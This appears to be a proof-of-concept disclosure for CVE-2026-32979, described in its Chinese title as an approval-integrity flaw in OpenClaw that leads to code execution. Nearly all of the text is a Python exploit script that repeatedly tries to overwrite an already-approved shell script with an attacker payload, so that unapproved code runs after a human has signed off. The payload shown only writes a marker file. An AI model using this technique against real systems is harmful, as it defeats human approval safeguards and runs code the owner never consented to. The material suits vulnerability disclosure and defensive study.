CVE-2026-32979 OpenClaw审批完整性漏洞致代码执行

# Proof of Concept for CVE-2026-32979 # This script demonstrates the race condition by attempting to # overwrite the script content between approval and execution. import os import time TARGET_FILE = "/var/openclaw/scripts/approved_script.sh" EVIL_PAYLOAD = "#!/bin/bash\necho 'PWNED by CVE-2026-32979' > /tmp/pwn.txt" def exploit(): print(f"[*] Waiting for approval window on {TARGET_FILE}...") # In a real attack, this loop would run while the victim approves the script while True: try: # Attempt to overwrite the file with open(TARGET_FILE, 'w') as f: f.write(EVIL_PAYLOAD) print("[+] Script overwritten with malicious payload!") print("[+] Waiting for OpenClaw runtime to execute...") break except IOError: time.sleep(0.1) if __name__ == "__main__": exploit()